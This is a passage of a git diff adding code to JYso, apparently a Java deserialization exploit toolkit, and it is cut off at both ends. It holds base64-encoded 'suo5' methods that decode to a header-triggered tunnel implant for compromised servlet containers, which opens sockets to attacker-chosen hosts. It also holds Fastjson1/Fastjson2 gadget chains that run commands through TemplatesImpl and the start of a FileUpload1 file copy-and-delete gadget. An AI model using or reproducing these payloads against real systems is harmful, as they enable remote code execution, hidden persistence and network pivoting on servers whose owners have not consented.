"CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 setStream 方法,需要 Field gInStream,gOutStream + public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; + + // suo5 newStatus 方法 + public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; + + // suo5 u32toBytes 方法 + public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; + + // suo5 bytesToU32 方法 + public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; + + // suo5 marshal 方法,需要 u32toBytes + public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; + + // suo5 unmarshal 方法,需要 bytesToU32 + public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; + + // suo5 readSocket 方法,需要 marshal newData + public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; + + // suo5 readInputStreamWithTimeout 方法 + public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; + + // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 + public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; + + // suo5 readReq 方法,需要 unmarshal 方法 + public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; + + // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel + public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; + + // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 + public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; + + // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 + public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; + + // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream + public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/DynamicDependencies.java b/src/main/java/com/qi4l/JYso/gadgets/DynamicDependencies.java new file mode 100644 index 0000000..3184ca0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/DynamicDependencies.java @@ -0,0 +1,4 @@ +package com.qi4l.JYso.gadgets; + +public interface DynamicDependencies { +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java new file mode 100644 index 0000000..9e6af62 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + + +public class Fastjson1 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); + clazz.setSuperclass(superClass); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); + clazz.addConstructor(constructor); + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(templates); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(templates, val); + + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java new file mode 100644 index 0000000..de4a158 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson2.JSONArray; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + + +public class Fastjson2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); + clazz.setSuperclass(superClass); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); + clazz.addConstructor(constructor); + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(templates); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(templates, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java new file mode 100644 index 0000000..e217d1e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java @@ -0,0 +1,72 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +public class FileUpload1 implements ReleaseableObjectPayload{ + @Override + public DiskFileItem getObject(String command) throws Exception { + + String[] parts = command.split(";"); + + if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if (parts.length == 